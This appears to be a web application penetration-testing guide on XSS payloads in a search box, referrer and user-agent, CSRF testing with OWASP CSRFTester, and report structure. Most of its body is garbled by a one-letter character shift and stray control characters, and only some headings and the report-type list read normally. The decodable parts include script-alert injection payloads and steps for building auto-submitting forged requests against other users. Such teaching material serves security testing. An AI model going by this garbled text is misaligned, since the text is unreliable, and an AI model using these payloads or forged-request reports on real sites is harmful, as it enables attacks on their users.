RBQHOS��&��$RBQHOS��&@KDQS	4SQHMF�EQNL$G@Q$NCD	���
��
��
��
��
���
��
���
���
��
��
��
��
��
��
��

���$�
RBQHOS��&

4TQD�DMNTFG�SGHR�VNQJDC�AD@TSHETKKX���

Attacking a search box

1@RSD�@MX�D@BG�NE�SGD�O@XKN@CR�KHRSDC�@ANUD�HM�SGD�VDARHSD�RD@QBG�ANW�

XSS in the referrer

<I�D!-HMTW-@OSNO�]>��MB�KD@QMRDBTQHSXNMKHMD�BNL���
(&5���)551����
3DEDQDQ���RBQHOS�@KDQS	�UTKMDQ@AKD�
��RBQHOS�

XSS in the user-agent

*M�EHQDENW�XNT�B@M�SXOD��@ANTS�BNMEHF��HM�SGD�@CCQDRR�A@Q
�@MC�RD@QBG�ENQ�SGD�VNQC�TRDQ�
5GDM�BG@MFD�SGD�TRDQ�@FDMS�SN�AD�XNTQ�HMIDBSHNM�

.@MT@K�$QNRR�4HSD�3DPTDRS�'NQFDQX

$43'�5DRSDQ�
GSSO���VVV�NV@RO�NQF�HMCDW�OGO�$@SDFNQX�08"41?$43'5DRSDQ?1QNIDBS
GSSO���VVV�NV@RO�NQF�HMCDW�OGO�$43'5DRSDQ?6R@FD



Quick Steps

5GD�ENKKNVHMF�HR�@M�NTSKHMD�NE�SGD�RSDOR�MDBDRR@QX�SN�K@TMBG�@MC�TSHKHYD�SGD�$43'5DRSDQ�
�� RUM�BGDBJNTS�GSSO���NV@ROBRQESDRSDQ�FNNFKDBNCD�BNL�RUM�SQTMJ�

NV@ROBRQESDRSDQ�QD@C�NMKX
�� BC�NV@ROBRQESDRSDQ�QD@C�NMKX�L@HM�$43'5DRSDQ�CHRS
�� I@U@��I@Q�08"41�$43'5DRSDQ�����I@Q
�� $NMEHFTQD�AQNVRDQ�SN�OQNWX�SGQNTFG�$43'5DRSDQ
�� 3DBNQC�SGD�DWDBTSHNM�NE�@�ATRHMDRR�ETMBSHNM
�� .NCHEX�SGD�O@Q@LDSDQR�NE�SGD�QDBNQCDC�ATRHMDRR�ETMBSHNM
�� (DMDQ@SD�@M�)5.-�QDONQS�SG@S�B@QQHDR�NTS�SGD�ATRHMDRR�ETMBSHNM
�� *M�@�RDO@Q@SD�AQNVRDQ�VHMCNV�	@MC�@�RDO@Q@SD�TRDQ

�UHDV�SGD�FDMDQ@SDC�)5.-

EHKD
�� *E�SGD�@BSHNM�V@R�RTBBDRRETKKX�B@QQHDC�NTS
�SGDM�SGD�@OOKHB@SHNM�HR�UTKMDQ@AKD�SN

$43'

Launch OWASP CSRFTester

5GD�$43'5DRSDQ�CHRSQHATSHNM�BNMS@HMR�SGQDD�EHKDR��QTM�A@S
�08"41�$43'5DRSDQ�����I@Q

@MC�BNMBTQQDMS�I@Q��5GD�QTM�A@S�RBQHOS�BNMEHFTQDR�SGD�BK@RRO@SG�SN�HMBKTCD�SGD�QDPTHQDC
I@QR�@MC�HMUNJDR�SGD�@OOQNOQH@SD�L@HM�BK@RR��$TQQDMSKX
�SGD�A@SBG�RBQHOS�@RRTLDR�XNTQ
+%,�QTMSHLD�DWHRSR�TMCDQ�$�="OO4DB8NQJADMBG=ICJ��=IQD��0AUHNTRKX
�SGHR�VHKK�MNS�AD�SGD
BNQQDBS�KNB@SHNM�NE�XNTQ�+7.��.@JD�RTQD�XNT update the JAVA_HOME environment
variable HM�QTM�A@S�ADENQD�@SSDLOSHMF�SN�DWDBTSD�SGD�A@SBG�EHKD��"RRTLHMF�OQNODQ
BNMEHFTQ@SHNM
�DWDBTSHMF�QTM�A@S�RGNTKC�K@TMBG�$43'5DRSDQ��*E�@M�DQQNQ�NBBTQR
�DUHCDMS
VGDM�SGD�BNLL@MC�KHMD�HMSDQE@BD�PTHBJKX�CHR@OOD@QR
�BNMRHCDQ�NODMHMF�TO�@�RDO@Q@SD�$-*
@MC��$%��CHQDBSKX�SN�SGD�ENKCDQ�NE�XNTQ�QTM�A@S�EHKD�@MC�DWDBTSD�HS�UH@�BNLL@MC�KHMD��"MX
DQQNQR�SG@S�L@X�NBBTQ�VHKK�CHROK@X�SN�RSCNTS�

Record Execution of Business Functions

0MBD�SGD�$43'5DRSDQ�KN@CR�RTBBDRRETKKX
�VD�LTRS�QDBNQC�@�SQ@MR@BSHNM�SG@S�VD�V@MS�SN
SDRS�ENQ�$43'��'HQRS
�VD�LTRS�BNMEHFTQD�SGD�AQNVRDQ�SN�OQNWX�@KK�)551�SQ@EEHB�SGQNTFG
$43'5DRSDQ��8D�B@M�BNMEHFTQD�SGHR�OQNWX�ADG@UHNQ�HM�'HQDENW�	NM�-HMTW
�TRHMF�SGD�&CHS
LDMT��4DKDBS�1QDEDQDMBDR����"CU@MBDC����/DSVNQJ����4DSSHMFR�SN�FDS�SGD�OQNWX
BNMEHFTQ@SHNM�CH@KNF�



$43'5DRSDQ�CDE@TKSR�SN�TRHMF�ONQS������NM�KNB@KGNRS�ENQ�HSR�OQNWX��:NT�MDDC�SN�BNMEHFTQD
'HQDENW�SN�QDK@X�QDPTDRSR�SN�$43'5DRSDQ
�Q@SGDQ�SG@M�EDSBGHMF�SGDL�HSRDKE
�@R�RGNVM�HM�SGD
@ANUD�HL@FD��.@JD�RTQD�SG@S�SGD��/N�1QNWX�ENQ��ANW�HR�AK@MJDC�NTS��0MBD�XNT�G@UD
BNMEHFTQDC�EHQDENW�SN�TRD�SGD�OQNWX
�RDKDBS�0J�NM�@KK�CH@KNFR�SN�FDS�A@BJ�SN�SGD�AQNVRDQ�
#QNVRD�SN�@�MNM�44-�VDARHSD
�@MC�SGDM�RVHSBG�SN�$43'5DRSDQ�

��BC�NV@ROBRQESDRSDQ�QD@C�NMKX�L@HM�$43'5DRSDQ�CHRS
��I@U@��I@Q�08"41�$43'5DRSDQ�����I@QMYH



*E�SGD�OQNWX�V@R�RTBBDRRETKKX�BNMEHFTQDC
�$43'5DRSDQ�VHKK�FDMDQ@SD�CDATF�LDRR@FDR�SN
RSCNTS�ENQ�@KK�RTARDPTDMS�)551�QDPTDRSR�FDMDQ@SDC�AX�XNTQ�AQNVRDQ��"S�SGHR�ONHMS
�VD
MDDC�SN�KNB@SD�@�O@QSHBTK@Q�ATRHMDRR�ETMBSHNM�SG@S�VD�V@MS�SN�SDRS�ENQ�$43'��#QNVRD�SN
SGD�O@FD�VGDQD�SGD�ATRHMDRR�ETMBSHNM�	�NQ�ETMBSHNMR�
�@QD�EHQRS��KN@CDC���0MBD�SGHR�O@FD�HR
KNB@SDC
�RDKDBS�SGD��4S@QS�3DBNQCHMF��ATSSNM�HM�$43'5DRSDQ�@MC�DWDBTSD�SGD�ATRHMDRR
ETMBSHNM�NQ�ETMBSHNMR��0MBD�BNLOKDSD
�BKHBJ�SGD��4SNO�3DBNQCHMF��ATSSNM�VHSGHM
$43'5DRSDQ��:NT�KK�MNSHBD�SG@S�SGD�KHRS�NM�SGD�L@HM�RBQDDM�MNV�G@R�@�RDQHNTR�NE�QDPTDRSR
QDBNQCDC��5GDRD�@QD�@KK�NE�SGD�(&5�1045�QDPTDRSR�FDMDQ@SDC�AX�NTQ�AQNVRDQ�VGHKD
DWDBTSHMF�SGD�ATRHMDRR�ETMBSHNM	R
��#X�RDKDBSHMF�NMD�NE�SGD�QNVR�HM�SGD�KHRS
�VD�MNV�G@UD
SGD�@AHKHSX�SN�LNCHEX�SGD�O@Q@LDSDQR�SG@S�VDQD�TRDC�SN�DWDBTSD�SGD�ATRHMDRR�ETMBSHNM��8D
B@M�LNCHEX�SGD��PTDQX�RSQHMF��O@Q@LDSDQR�@MC��ENQL��O@Q@LDSDQR�SGQNTFG�SGDHQ
QDRODBSHUD�O@MDR�NM�SGD�ANSSNL�G@KE�NE�SGD�RBQDDM��/NSD�SG@S�SGDRD�@QD�SGD�U@KTDR�VD
VHRG�SN�SQHBJ�SGD�DMC�TRDQ�HMSN�RTALHSSHMF��0MBD�@KK�NE�SGD�O@Q@LDSDQR�G@UD�ADDM
LNCHEHDC�SN�BNMS@HM�XNTQ�CDRHQDC�U@KTDR
�VD�@QD�MNV�QD@CX�SN�ADFHM�FDMDQ@SHMF�)5.-
QDONQSR�

Generate HTML Reports

5GD�)5.-�QDONQSR�FDMDQ@SDC�AX�SGD�$43'5DRSDQ�SNNK�@QD�TRDC�SN�B@QQX�NTS�SGD�$43'�SDRS
B@RDR�@F@HMRS�NSGDQ�TRDQR�NE�SGD�VDA�@OOKHB@SHNM��5N�FDMDQ@SD�@�QDONQS
�VD�EHQRS�LTRS
RDKDBS�@��QDONQS�SXOD���5GD�QDONQS�SXOD�CDSDQLHMDR�GNV�VD�V@MS�SGD�UHBSHLR�AQNVRDQ�SN
RTALHS�SGD�OQDUHNTRKX�QDBNQCDC�QDPTDRSR��5GDQD�BTQQDMSKX�DWHRSR���ONRRHAKD�QDONQSR�
ENQLR
�H'Q@LD
�*.(
�9)3
�@MC�-HMJ�
Forms: This report type will submit the request(s) using auto-posting forms

iFrame: This report type will submit the request(s) using and auto-

submitting iframe tag.

IMG: This report will submit the request(s) using the <img src="..."/> tag



XHR: This report will submit the request(s) using XMLHttpRequest. Note that

this is subject to the same origin policy.

Link: This report will submit the request(s) when the user clicks a link.

0MBD�@�QDONQS�SXOD�HR�RDKDBSDC
�XNT�B@M�NOSHNM@KKX�K@TMBG�SGD�MDVKX�FDMDQ@SDC�QDONQS�HM
XNTQ�AQNVRDQ��5N�DM@AKD�CHR@AKD�SGHR�NOSHNM
�BGDBJ�TMBGDBJ�SGD��%HROK@X�HM�#QNVRDQ�
BGDBJANW�MDWS�SN�SGD��(DMDQ@SD�)5.-��ATSSNM�HM�SGD�ANSSNL�QHFGS�G@MC�BNQMDQ��'HM@KKX

VD�B@M�BKHBJ�SGD��(DMDQ@SD�)5.-��ATSSNM�SN�BQD@SD�SGD�)5.-�QDONQS�SG@S�VHKK�RTALHS�NTQ
QDBNQCDC�	@MC�ONRRHAKX�LNCHEHDC
�@BSHNMR��5N�B@QQX�NTS�SGD�SDRS�B@RD
�NODM�@�MDV�AQNVRDQ
HMRS@MBD
�@TSGDMSHB@SD�@R�@MNSGDQ�TRDQ�VHSG�@BBDRR�SN�SGD�R@LD�ATRHMDRR�ETMBSHNM	R

�@MC
G@UD�SG@S�TRDQ�AQNVRDQ�K@TMBG�SGD�MDVKX�BQD@SDC�)5.-�QDONQS�EHKD��*E�SGD�@BSHNM�V@R
B@QQHDC�NTS�@ESDQ�UHDVHMF�SGD�EHKD�HM�SGD�R@LD�AQNVRDQ�VHMCNV�SG@S�V@R�TRDC�SN
@TSGDMSHB@SD�SGD�MDV�TRDQ�	H�D��SGD�UHBSHL

�SGDM�SG@S�O@QSHBTK@Q�ATRHMDRR�ETMBSHNM�HR
UTKMDQ@AKD�SN�BQNRR�RHSD�QDPTDRS�ENQFDQX�

Phase 6: Documentation and
Reporting

3DRTKSR�7DQHEHB@SHNM

*CDMSHEXHMF�'@KRD�1NRHSHUDR

"RRDRRHMF�7TKMDQ@AHKHSX�$QHSHB@KHSX

3DONQS�4SQTBSTQD
^ &WDBTSHUD�4TLL@QX
^ 3HRJ�.@SQHW
^ #DRS�1Q@BSHBDR�	NOSHNM@K�ATS�UDQX�TRDETK

^ 'HM@K�4TLL@QX


